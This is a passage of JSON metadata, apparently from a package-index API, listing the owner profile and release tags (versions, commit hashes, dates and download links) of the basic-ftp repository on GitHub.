Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.